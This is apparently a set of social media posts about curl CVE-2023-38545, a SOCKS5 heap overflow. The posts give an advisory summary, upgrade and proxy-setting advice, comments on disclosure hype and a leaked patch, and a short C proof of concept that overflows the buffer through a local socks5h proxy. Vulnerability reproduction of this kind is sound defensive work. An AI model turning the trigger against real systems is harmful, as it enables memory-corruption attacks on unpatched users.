Si vous me cherchez, je suis en train de mettre à jour curl.

" curl Vulnerability Alert: SOCKS5 Heap Buffer Overflow "

A critical heap buffer overflow vulnerability has been identified in curl, specifically in the SOCKS5 proxy handshake. When curl is instructed to pass the hostname to the SOCKS5 proxy for resolution, a hostname exceeding 255 bytes should trigger local name resolving. However, due to a bug, a slow SOCKS5 handshake might erroneously copy an overly long hostname to the target buffer instead of just the resolved address, causing a potential overflow.

This flaw, tagged as CVE-2023-38545, affects libcurl versions 7.69.0 to 8.3.0 and has been assigned a high severity rating. The vulnerability was introduced when the SOCKS5 handshake code transitioned from a blocking function to a non-blocking state machine. The issue has been resolved in curl version 8.4.0, and users are urged to upgrade or apply patches to mitigate risks.

Source: curl - CVE-2023-38545

Tags: #curl #Vulnerability #Cybersecurity #CVE202338545 #BufferOverflow #InfoSec #PatchManagement #CyberHygiene

Credits: Reported and patched by Jay Satiro. A heartfelt thanks to Jay for enhancing the security of the digital realm!

MITRE CVE-2023-38545

Recommendations:

1. Upgrade: Update curl to version 8.4.0 or a newer release where the issue is fixed.
2. Patch: If upgrading is not feasible, consider applying the provided patch to your local version of curl.
3. Proxy Configuration: Avoid using CURLPROXY_SOCKS5_HOSTNAME proxies with curl.
4. Environment Variables: Do not set proxy environment variables to socks5h://.

#curl CVE turned out to be not very exciting nor severe. Similar to the OpenSSL "critical" bug earlier, you mostly just see people hyping up pre-disclosures to be early on that hype train.

Here’s a quick proof of concept to reproduce the #curl #CVE202338545 #heapoverflow #vulnerability. This PoC expects localhost to run a #socks5 proxy:

gcc -xc -fsanitize=address - -lcurl <<EOF
# include <curl/curl.h>
# include <string.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(curl) {
char url[32768];
memcpy(url, "https://", 8);
memset(url + 8, 'A', sizeof(url) - 8 - 1);
url[sizeof(url) - 1] = '\0';
curl_easy_setopt(curl, CURLOPT_URL, url);
(void)curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return 0;
}
EOF
https_proxy=socks5h://127.0.0.1 ./a.out

Some comments:
• Application must use socks5h proxy to be vulnerable (it can be via proxy env variables or by explicitly settings the proxy options inside the app).
• Application must either fetch the attacker provided URL or follow redirects controlled by the attacker.
• Exploitation is made slightly more complicated due to this being a heap buffer overflow (many libc have built-in heap sanity checks). On modern systems with address space layout randomization (ASLR) an additional information leak is likely required for successful exploitation.
• Certain combinations of libcurl, platform and/or application options are not affected. See the advisory at https://curl.se/docs/CVE-2023-38545.html for more details.

Hm. "around 06:00 UTC" zieht sich... #libcurl #cve202338545

It's unfortunate that the #curl #CVE202338545 patch leaked some hours before the official release. While this is embarrassing for the party who leaked it, accidents will happen. In this case the window for potential mischief is fortunately quite small. #infosec

Well, lookie here. A #curl patch for #CVE202338545 https://gitlab.com/redhat/centos-stream/rpms/curl/-/commit/0783247f07250043dceb74e426f16f9d46147163#57c8706b6a9132202629833e05fd961bfcc66836

My prediction for tomorrow: A lot of people will call the high level #curl security #vulnerability #CVE202338545 irrelevant since it doesn’t affect them. The important part is that curl is used in a lot of places and in wildly different configurations and use patterns, some of which will be impacted. For them the issue is hardly irrelevant. The reason these serious vulnerabilities need to be highlighted is to ensure that those affected will get the fix in as soon as possible.

As pointed out by @bagder “This is a HIGH severity problem but there is still going to be a large chunk of users who will not be affected by these problems.”

If you’re not impacted, good. But let’s ensure that those that are, will get the fix in as soon as possible.

Linux patching is a pain, but you should be aware of the latest curl vulnerability that has been annouced.
https://github.com/curl/curl/discussions/12026
#security #curl #vulnerabilitymanagement #CVE202338545